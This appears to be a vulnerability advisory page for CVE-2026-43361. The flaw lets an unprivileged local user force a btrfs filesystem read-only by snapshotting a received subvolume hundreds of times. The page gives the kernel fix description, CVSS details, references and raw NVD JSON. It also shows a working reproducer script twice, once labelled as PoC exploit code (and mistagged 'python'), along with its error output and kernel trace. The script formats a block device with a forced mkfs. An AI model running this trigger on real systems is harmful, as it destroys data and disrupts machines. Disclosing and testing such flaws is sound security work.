CVE-2026-43361

Description

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort when snapshotting received subvolumes Currently a user can trigger a transaction abort by snapshotting a previously received snapshot a bunch of times until we reach a BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we can store in a leaf). This is very likely not common in practice, but if it happens, it turns the filesystem into RO mode. The snapshot, send and set_received_subvol and subvol_setflags (used by receive) don't require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user could use this to turn a filesystem into RO mode and disrupt a system. Reproducer script: $ cat test.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # Create a subvolume and set it to RO so that it can be used for send. btrfs subvolume create $MNT/sv touch $MNT/sv/foo btrfs property set $MNT/sv ro true # Send and receive the subvolume into snaps/sv. mkdir $MNT/snaps btrfs send $MNT/sv | btrfs receive $MNT/snaps # Now snapshot the received subvolume, which has a received_uuid, a # lot of times to trigger the leaf overflow. total=500 for ((i = 1; i <= $total; i++)); do echo -ne "\rCreating snapshot $i/$total" btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null done echo umount $MNT When running the test: $ ./test.sh (...) Create subvolume '/mnt/sdi/sv' At subvol /mnt/sdi/sv At subvol sv Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system And in dmesg/syslog: $ dmesg (...) [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252! [251067.629212] ------------[ cut here ]------------ [251067.630033] BTRFS: Transaction aborted (error -75) [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235 [251067.632851] Modules linked in: btrfs dm_zero (...) [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full) [251067.646165] Tainted: [W]=WARN [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014 [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs] [251067.649984] Code: f0 48 0f (...) [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292 [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3 [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750 [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820 [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0 [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5 [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000 [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0 [251067.661972] Call Trace: [251067.662292] <TASK> [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs] [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs] [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs] [251067.665238] ? _raw_spin_unlock+0x15/0x30 [251067.665837] ? record_root_ ---truncated---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.19

Linux Kernel (包含受影响的btrfs模块的主线及稳定版分支)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash

# CVE-2026-43361 PoC: Trigger btrfs transaction abort via snapshot overflow
# Note: Requires a block device (e.g., /dev/sdi) to test on.

DEV=/dev/sdi
MNT=/mnt/sdi

# Use smallest node size to make the test faster.
mkfs.btrfs -f --nodesize 4K $DEV
mount $DEV $MNT

# Create a subvolume and set it to RO so that it can be used for send.
btrfs subvolume create $MNT/sv
touch $MNT/sv/foo
btrfs property set $MNT/sv ro true

# Send and receive the subvolume into snaps/sv.
mkdir $MNT/snaps
btrfs send $MNT/sv | btrfs receive $MNT/snaps

# Now snapshot the received subvolume, which has a received_uuid,
# a lot of times to trigger the leaf overflow.
total=500
for ((i = 1; i <= $total; i++)); do
    echo -ne "\rCreating snapshot $i/$total"
    btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null
done
echo

umount $MNT

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43361
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43361
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43361/
[4] VulDB https://vuldb.com/cve/CVE-2026-43361
[5] https://git.kernel.org/stable/c/6bce705b699cba9afccb996c77d194fe003dfa2a
[6] https://git.kernel.org/stable/c/770af8e465c2c3de528f85e840eab462dd41542b
[7] https://git.kernel.org/stable/c/9a9227b488ffb7cdbb5d930a01fc6956c05ba61a
[8] https://git.kernel.org/stable/c/bac55dde8efa457e769c934fd88a63f2141ba238
[9] https://git.kernel.org/stable/c/e1b18b959025e6b5dbad668f391f65d34b39595a
[10] https://git.kernel.org/stable/c/e3d8efc157bc590457d3e31da403af1a221643d6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43361", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:46.980", "lastModified": "2026-05-15T13:29:54.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix transaction abort when snapshotting received subvolumes\n\nCurrently a user can trigger a transaction abort by snapshotting a\npreviously received snapshot a bunch of times until we reach a\nBTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we\ncan store in a leaf). This is very likely not common in practice, but\nif it happens, it turns the filesystem into RO mode. The snapshot, send\nand set_received_subvol and subvol_setflags (used by receive) don't\nrequire CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user\ncould use this to turn a filesystem into RO mode and disrupt a system.\n\nReproducer script:\n\n $ cat test.sh\n #!/bin/bash\n\n DEV=/dev/sdi\n MNT=/mnt/sdi\n\n # Use smallest node size to make the test faster.\n mkfs.btrfs -f --nodesize 4K $DEV\n mount $DEV $MNT\n\n # Create a subvolume and set it to RO so that it can be used for send.\n btrfs subvolume create $MNT/sv\n touch $MNT/sv/foo\n btrfs property set $MNT/sv ro true\n\n # Send and receive the subvolume into snaps/sv.\n mkdir $MNT/snaps\n btrfs send $MNT/sv | btrfs receive $MNT/snaps\n\n # Now snapshot the received subvolume, which has a received_uuid, a\n # lot of times to trigger the leaf overflow.\n total=500\n for ((i = 1; i <= $total; i++)); do\n echo -ne \"\\rCreating snapshot $i/$total\"\n btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null\n done\n echo\n\n umount $MNT\n\nWhen running the test:\n\n $ ./test.sh\n (...)\n Create subvolume '/mnt/sdi/sv'\n At subvol /mnt/sdi/sv\n At subvol sv\n Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type\n Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system\n\nAnd in dmesg/syslog:\n\n $ dmesg\n (...)\n [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!\n [251067.629212] ------------[ cut here ]------------\n [251067.630033] BTRFS: Transaction aborted (error -75)\n [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235\n [251067.632851] Modules linked in: btrfs dm_zero (...)\n [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)\n [251067.646165] Tainted: [W]=WARN\n [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\n [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]\n [251067.649984] Code: f0 48 0f (...)\n [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292\n [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3\n [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750\n [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820\n [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0\n [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5\n [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000\n [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0\n [251067.661972] Call Trace:\n [251067.662292] <TASK>\n [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]\n [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]\n [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]\n [251067.665238] ? _raw_spin_unlock+0x15/0x30\n [251067.665837] ? record_root_\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"opera ... (truncated)